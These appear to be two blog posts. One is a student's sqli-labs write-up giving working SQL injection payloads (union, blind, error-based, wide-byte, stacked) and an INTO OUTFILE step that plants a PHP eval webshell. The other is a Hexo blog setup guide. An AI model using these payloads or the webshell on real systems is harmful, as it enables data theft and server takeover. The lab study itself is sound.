两个月前刚学的时候没有搞清楚没什么Id要改成-1,其实很好理解,mysql的查询如果你的查询是存在的即返回结果,若查询不存在即返回查询结果.
avator

查表

?id=-1' select 1,2,table_name from infomation_schema.tables where table_schema=database() %23

查列名

?id=-1' select 1,2,column_name from information_schema.columns where table_name='user' %23

其中User为我们刚才查到的表

查列名下的具体值

?id=-1' select 1,2,user from user %23

选择查询的列为user列,一般来说ctf的题都是让你查flag列下的值,Dump出来就好.

关于Information_schema

MySQL 中有一个数据库叫做information_schema,储存数据库和表的元信息。information_schema中有两个重要的表,一个叫tables,储存表的元信息,有两列特别重要,table_schema是所属数据库,table_name是表名称。另一个表示columns,储存列的源信息,table_name列是所属表名称,column_name列是列名称

盲注

盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。其实我们用sqlmap完全可以跑,但是只会用工具最多也就是个脚本小子,要想更好的运用Sqlmap进行注入,我觉得应该从基础学起,搞清楚原理才是最重要的。

布尔盲注

先贴一张自己写的php
avator
即回显只有ture or false

limit

普及一下用法,用mysql演示一下:
limit1

limit2

limit3

猜库长

?id=1' and length(database())=? %23

?即为猜解的裤长,可以用二分法,及大于1,小于100,再从50划分长度。若条件成立返回ture

猜库名

substr()函数

substr(string,start,length)

  • string(必需)规定要返回其中一部分的字符串。

  • start(必需)规定在字符串的何处开始。

  • length(可选)规定被返回字符串的长度。

令外用到ascii()函数,返回查询到的字符的ascii的十进制值,通过大于或者小于的逻辑判断这个值为多少,进而遍历完整的数据库名。
?id=1' and ascii(substr(database(),1,1))>? %23
通过分析,返回的ascii确认为104,对应‘h’,与库名的hpdoger的第一个字母相应。

猜表名

这里需要在substr里嵌套mysql的语句,因为我们要找到对应的表,结合普通查询的语句来构造我们的payload

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))>116 %23
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))<118 %23

两者返回都为ture,可以判断第一个字母ascii值为117
chabiao
chabiao

猜列名

lieming
此语句猜解的是user表的第一个列名,如是想要猜解其它列名,则更改Limit 的值

猜字段值

ziduanzhi
道理相同

基于时间的盲注

返回页面无法判断语句是否执行, 面对这种情况,基于布尔的SQL盲注就很难发挥作用了(因为基于布尔的SQL盲注的前提是Web程序返回的页面存在true和false两种不同的页面)。这时

if()与sleep()

其实,基于时间的盲注也是运用逻辑判断。首先看一下if()函数:

  • if()
    if(expr1,expr2,expr3)
    如果 expr1 为真,则 IF()函数执行expr2语句; 否则 IF()函数执行expr3语句。

  • sleep()

    sleep(seconds)

    延时一段时间

执行

基本思想跟与布尔盲注一样,给一句话,其他的换成相应查询就可以了

?id=1 and if(ascii(substr(database(),1,1))>100,sleep(10),null)

关于绕过Waf

浅谈编码绕过waf

url编码

这两天一直在刷sqli-labs,做到现在有一点感触。一开始知道有url编码绕过这种方式,但是对于为什么能绕过成功心里是没B数的。经过这两天的测试,我想说的是,这种url编码绕过简直扯淡。人家waf过滤掉了你,你就算编码传过去一个值,到了php页面又被还原再判断,所以相当于没有任何作用。但还是写一下关于url编码的一些理解:

在GET传参的时候,Chrome的url会自动进行编码,而编码形式就是utf-8。一般来说,这个自动编码保留字母和数字不编的形式。其实,我感觉utf-8编码就是为了应对中文问题才诞生的。再说一下解码的问题吧,最初我不理解在php后端什么时候将url解码,后来自己用php传参,echo的结果显示,我们在用$_GET[]时,就将url给解码了。即还原了你的传参原值。所以url编码绕过就是扯淡

%0A换行污染

在GET请求时,将URL的SQL注入关键字用%0A分隔,%0A是换行符,在mysql中可以正常执行。可以用%0a代替空格使用

16进制绕过

这个目前理解尚浅,在列库名或者表名的时候用过,因为可以避免使用单引号闭合。在concat函数里用过,作为分隔符。即0x7e表示‘~’。

报错注入

不得不说updatexml()这个报错函数真的太强了,首先你要了解Xpath。在Mysql中使用了一下这个函数,发现当XPath 使用路径表达式不符合规范时,就会报错,而报错的内容就非常神奇了。下面贴一张报错内容和语法:

or updatexml(1,concat(0x7e,database()),1)

0x7e是为了构造~分割
1
它爆出了我们查询的库名,只要稍加修改,就可以查表、列、字段等。功能强大,依靠它打lab简直爽的不行。报错注入的姿势有很多,po一个写了十种报错函数的帖子

宽子节注入

对于mysql_escape_string或者是mysql_real_escape_string函数转义的单引号,我们都可以用宽子节注入使单引号逃逸。

  • 在GET类型中,我们在单引号前加一个Ascii大于128的编码,因为mysql是以gbk形式读编码的。例如我们构造%df’,则转义后变成%df%5c%27,那么mysql执行语句时,看到前两个编码会结合为汉字,从而是单引号逃逸。
  • 在POST类型中,我们无法再使用%df进行宽子节注入。POST与GET不同,php端不对%df解码(参考对url编码的理解),而是在执行sql查询的时候对%df再进行一次utf-8的编码。结果就是,你在进行sql查询时本想借助%df逃逸,但是现在没有%df可以利用。网上提供了另一种用utf-16进行宽子节注入的payload,这里我拿来用一下,至于为什么utf-16可以借助逃逸,这个我以后学习了16和8的具体转换方式再补上。playload:
    ?id=1� '

二次注入

二次注入顾名思义,这里简单说一下储值型的二次注入:我们将要执行的sql语句通过注册用户操作,存储到服务器里,当我们再一次进行操作时直接调用服务器里我们存储的sql语句就可以了(例如修改密码时)。举一个lab里的例子,我们注册用户登陆后,session会获得一个用户名,在那道题里,没有对session得到的用户名进行过滤,而是直接把密码更新到获取的session的用户名下,如果我们的用户名为admin’#,那么就相当于更新了Admin的密码。

堆叠注入

堆叠注入区别于二次注入,当没有创建新用户的选项时,可以考虑堆叠注入,在登陆时创建一个新用户入。先看一下labs-42的源码

   $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = $_POST["login_password"];
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

可以对Username过滤但是未对password过滤,我们就可以为所欲为了。可以通过报错或者盲注查询出表名,构造语句向表中插入用户数据。payload如下:
login_user=123&login=a';insert into users values(16,'Hodoger','zq1160307775') #
show tables成功显示我们插入的用户,前提是你要查到这个登陆基于users这个表,至于怎么查,各显神通了。

order by注入

order by不能与union select 连用,所以注入就要换思路,可以用报错注入或者延时注入。

  • 报错注入的话,在之前以后列出过十种报错函数可以利用
  • 还有一种注入手段是依靠rand()函数,order by 后的参数直接为rand(),rand中含有表达式,根据rand(ture/false)返回时序列不同来判断表达式是否正确,这里我们以查询库名为例写一个payload猜解:
    ?sort=rand(ascii(left(database(),1))>150)
    

?sort=rand(ascii(left(database(),1))<200)
```
sort参数php端用来接收order by处理的值,其实和布尔盲注的思想有些类似

  • 延时注入
    与基于时间的盲注思路差不多,构造 and if语句

权限的注入

into outfile的传马

MySQL中,可以使用SELECT…INTO OUTFILE语句将表的内容导出为一个文本文件。其基本的语法格式如下:
select [列名] from table into outfile '目标文件' [option]
意思就是你查询的列名导出到目标文件中。
具体看一道sql labs 46,基于order by 注入的题目
payload:

?sort=1 into outfile 'D:\\phpStudy\\WWW\\sqli-labs-master\\Less-46\\test.php' lines terminated by 0x3c3f706870206576616c28245f504f53545b6870646f6765725d293b203f3e
sort是题目里给的order by要查询的参数,outfile后接网站的绝对路径,test.php是我要写入的文件(没有时新建),lines terminated by接木马的16进制。union select 也可以与into outfile联合使用,因为这道题是order by注入无法使用union select写入,所以借助了lines terminated by 。
但是我在写入的时候出现下面的页面
shibai
这就是into outfile的限制了。写入之前先看看into outfile 的权限吧:
如果要实现用into outfile把代码写到WEB目录下,取得WEBSHELL

3大先天条件

  1. 知道物理路径(into outfile ‘WEB目录的物理路径’)这样才能写对目录。(默认的当前目录是MySQL的数据目录)

  2. 能够使用union(也就是MySQL版本在3以上)

  3. 没有对’进行过滤(因为outfile后面的’’不可以用其他函数代替转换)

2大后天条件

  1. MySQL用户拥有file_priv权限(不然就不能写文件或者把文件内容读出)

  2. 对web目录有写权限。
    很明显,我没有file_priv的权限,在mysql里查看一下也能看到,如图
    quanxian
    可以自行百度一下如何在windows下开启file_priv的权限,其实就是在my.ini里把路径置空就好,重启mysql。开启后再执行payload显示如下图:
    chenggong
    在路径下看一下传马是否成功,如图
    muma
    菜刀连接一下,成功
    caodao
    传马成功,下一步就是花样提权。不过目前导出文件的file_priv几乎都不会开启,即root的权限过低,所以可以想办法把它开启。


写在最后

最近大佬丢了我一本sqli-labs的武林秘籍,手工打完了还是有很大收获。其实里面很多题也是可以放到sqlmap里跑,但是做个脚本小子并不是我想要的,最近忙完了转专业这些事,准备闭关修炼一下。先在这里贴一些sqlmap里tamper的用法和介绍,博客总结的很好,而且也po出来一些Url,可以参考一下。

利用Hexo和Github搭建个人博客

写在前面

大一萌新一枚,想学点技术写一个自己的博客,记录自己的点滴。能力有限,又总要写点什么,那就写一下这次创建blog的心酸经历

准备工具

  1. 首先要有一个Github账号,创建一个Reposity(库),name为username.github.io,其中username必须为你的Github账号名,否则你建立的库只会在Pages下的目录,并不是主页,个人觉得是github官方的限制,总不可能让你无限制的拥有创建主页面域名。
  2. 需要安装Git,emmm..如果你不知道什么是Git
  3. 需要安装Node.js
  4. 需要安装Hexo,hexo是一款基于Node.js的静态博客框架,就是说我们可以通过hexo创建我们的博文,将md文件转换成静态文件,再部署到Github上;Hexo可以在安装了Node.js之后通过npm安装:
    $ npm install hexo-cli -g
    笔者是在cmd下运行的npm,但看到网上的方法说最好打开Git bash运行安装

    根目录初始化

  5. 首先创建一个文件夹,名字最好为uername.github.io(便与管理站点)。文件夹用来存放Hexo的配置文件
  6. 命令行Cd到该文件夹下,或者右键git bash,执行命令:
    $hexo init
  7. 安装依赖包:
    $nmp install
    此时该文件夹下会多出来很多文件,目录如下:
    .
    ├── _config.yml
    ├── package.json
    ├── scaffolds
    ├── source
    |   ├── _drafts
    |   └── _posts
    └── themes
    即为Hexo的配置文件

    安装上传插件 hexo-deployer-git

    $ npm install hexo-deployer-git --save
    这个插件支持本地修改上传到Github

    布置自己的网站

    Clone一个你喜欢的骚主题到文件夹

  • 这里笔者用的是Next,通过Git命令执行的github克隆:
    git clone https://github.com/iissnan/hexo-theme-next themes/next
  • 需要一定的时间,克隆后的文件夹名为next,在themes目录下
    avatar
  • 其中,_config.yml是博客页面的配置文件,使用详情左戳

配置主目录

  • 打开主目录下_config.yml
  1. 修改主题,使其指向我们使用的主题
    theme:next
  2. 修改deploy项,与你自己的github相对应
    deploy:
    type: git
    repo: https://github.com/Hpd0ger/Hpd0ger.github.io.git
    name: Hpdoger
    email: # 注册Github的邮箱
    branch: master
    这个deploy信息是hexo-deployer-git插件的工作认证,执行部署操作的时候,首先会自动初始化git仓库(位置在.deploy_git中),并关联到指定repo与branch,后续public文件夹中自动生成的页面代码将会拷贝至此目录中进行代码管理。若修改了name和email,需要删掉整个.deploy_git再重新部署才会生效以及你的Github账号。

    部署到GitHub上

    主要有三个步骤:
  3. hexo g:
    $hexo generate :将source\_post文件下的md文件转成静态页面到public文件夹下
  4. hexo s:
    $hexo s : 生成本地预览,默认情况下,访问网址为: http://localhost:4000/
  5. hexo d:
    $hexo d  :将.deploy目录部署到GitHub
    特别注意:
    $hexo clean :清除缓存文件(db.json)和已生成的静态文件(public)。在某些情况(尤其是更换主题后),如果发现您对站点的更改无论如何也不生效,您可能需要运行该命令。
  6. 现在登陆一下自己的博客,看看有没有成功哦

写博客

创建一篇博文

$hexo new '文章名'

会在source_post文件下创建一个md文件,系统已经为你写好了标题和日期

创建一个页面

$hexo new page "页面名" #如 tages、catagories

创建页面就是在主页上显示你的页面名,即你在博文的开头定义的这篇博文的标签、分类,即属于页面内容
会在source\目录下建立对应名称的文件夹,文件夹下有对应名称的md文件

使用Markdown编辑器

笔者使用的是cmd markdown,由于画面比较小清新所以一直使用,如果你氪金的话还可以将md文件转化为pdf格式。

Markdown语法介绍

  • 这里有一篇不错的博文介绍了一下用法,个人觉得还不错链接
  • 值得注意的就是标题的套用
  • 对于hexo,有两种方式:
    使用本地路径:在hexo/source目录下新建一个img文件夹,将图片放入该文件夹下,插入图片时链接即为/img/图片名称。
    使用图床,地址将图片拖入区域中,会生成图片的URL,这就是链接地址。
    第一种没有成功,笔者一直用的第二种

写在最后

这是笔者的第一篇博文,参考了一些google的资料。写博客目的只是为了能够提高自己,把自己所见所学写下来,比如这次博客的搭建,就花费了好多时间。最近还要忙着考四级和转专业,希望院里面的申请能通过。文采有限,希望有不对或者不好的地方可以反馈给我,接下来的阶段会闭关修炼一阵子,传一下ctf题或者sql注入绕过的博文吧。

未来的路还有很长,希望自己可以一直走下去

not found!